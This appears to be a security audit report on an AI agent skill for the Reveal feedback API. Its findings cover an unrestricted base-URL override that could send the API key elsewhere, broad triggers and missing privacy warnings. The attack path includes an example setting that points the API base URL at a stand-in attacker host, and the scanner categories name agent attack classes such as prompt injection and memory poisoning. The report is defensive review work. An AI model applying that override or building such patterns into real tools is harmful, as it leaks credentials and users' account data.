Reveal Product Feedback

• Outcome: Review
• Latest audit: Sep 10, 2026 · 8:57 PM UTC
• Version: 1.0.2

Overview

This skill mostly matches its stated Reveal account-management purpose, but it gives a broad API key to a configurable network destination and includes account-changing actions that need closer review.

Review this before installing in any environment that has a real Reveal API key. Only use it where REVEAL_BASE_URL is unset or pinned to a trusted Reveal endpoint, and require explicit confirmation before updates, webhook changes, notification changes, or media generation. Treat submission transcripts, videos, notes, analyses, webhook secrets, and video access tokens as sensitive account data.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Error

• Location: SKILL.md:15

Finding

Arbitrary API Base URL Override Can Exfiltrate the Reveal API Key and Account Data

Content

View full analysis

Vulnerability Details

File Location: SKILL.md, lines 15–21
Vulnerability Type: Credential and sensitive-data exposure through an unrestricted network destination
Risk Level: High

Vulnerable code snippet:

markdown

All API calls require the `REVEAL_API_KEY` environment variable. The key is a vendor API key generated from the Reveal dashboard under Settings → API Keys.

Every request uses this header:

Authorization: Bearer $REVEAL_API_KEY

text

Base URL: `https://www.testreveal.ai/api/v1`
(Override with `REVEAL_BASE_URL` env var if set.)

Technical Analysis

The Skill instructs the agent to attach REVEAL_API_KEY as a bearer credential to every API request while allowing the destination to be replaced through the unrestricted REVEAL_BASE_URL environment variable.

These two behaviors create a credential-exfiltration primitive. If the environment variable points to an untrusted origin, an otherwise legitimate Skill invocation will send the authorization header to that origin. The same requests may transmit product information, review-task details, user-feedback transcripts, analyses, marketing content, and other Reveal account data.

The guardrail at SKILL.md:259—“Never expose or log the API key in responses to the user”—does not prevent network disclosure to an overridden host. No origin allowlist, final-URL validation, redirect restriction, or requirement for separate development credentials is documented.

The endpoint override is not required for the Skill’s declared production functionality and therefore exceeds the minimum network privilege needed to communicate with the official Reveal API.

Attack Path

1. An attacker, compromised deployment process, or unsafe runtime configuration sets:

   text

   REVEAL_BASE_URL=https://attacker.example/api/v1
   

2. A user invokes any capability that calls the Reveal API.
3. The agent follows the documented base-URL overr ...[truncated 1242 chars]

Remediation

View remediation

Remediation Suggestions

1. Remove REVEAL_BASE_URL support if only the production Reveal API is required.
2. If alternate environments are necessary, use an explicit allowlist of exact HTTPS origins, such as separately defined production and staging hosts.
3. Parse and validate the final request URL before adding the authorization header. Reject:
   • Non-HTTPS schemes.
   • User-information components in URLs.
   • Unapproved hosts or ports.
   • Hostname suffix or substring matches that do not represent exact trusted origins.
4. Disable automatic cross-origin redirects. Never forward the authorization header when a redirect changes scheme, host, or port.
5. Use separate, narrowly scoped credentials for development and staging environments. A production key must never be sent to a non-production endpoint.
6. Require explicit user or administrator approval before enabling any non-production endpoint.
7. Apply least privilege to API keys, separating read-only feedback access from task modification, webhook management, and marketing-generation privileges where supported.
8. Avoid logging request headers, webhook signing secrets, video access tokens, transcripts, or complete sensitive response bodies.
9. Add tests confirming that credentials are sent only to approved origins and are stripped from redirected or rejected requests.
10. Rotate the Reveal API key if it may previously have been used while an untrusted REVEAL_BASE_URL value was configured.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Tool Misuse: Tool Parameter Abuse, Chaining Abuse, Unsafe Defaults
• Trigger Abuse: Overly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access

Findings (4)

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 80% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/api-reference.md (reported line 134)May include surrounding context.

md

Body: `url` (string, HTTPS required), `events` (array of: review.submitted, review.analyzed, task.completed, video.generated)
Response includes `secret` for HMAC-SHA256 signature verification via `X-Reveal-Signature` header.

### DELETE /webhooks?id={webhookId}
Delete a webhook.

## Notifications

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 97% confidence

Finding

The skill description includes very broad invocation language such as 'anything related to their Reveal account,' which can cause the agent to activate for loosely related prompts and perform sensitive account actions unexpectedly. Because this skill can create tasks, register webhooks, access submissions, and generate marketing assets, overbroad routing increases the chance of unintended data access or side-effectful API calls from ambiguous user requests.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 90% confidence

Finding

This markdown file describes endpoints that return user submissions, video URLs, notes, transcripts, and detailed analysis data, but it does not include any warning about handling potentially sensitive user-generated content. Under the markdown-file criteria for SQP-2, documentation should disclose behaviors that could affect user data or privacy.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 88% confidence

Finding

The documentation explains how to register webhook URLs and notes event delivery plus a signing secret, but it does not warn that enabling webhooks sends event data to an external endpoint controlled by the user. This is a data-transmission behavior with privacy and system-integrity implications that should be disclosed in markdown documentation.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.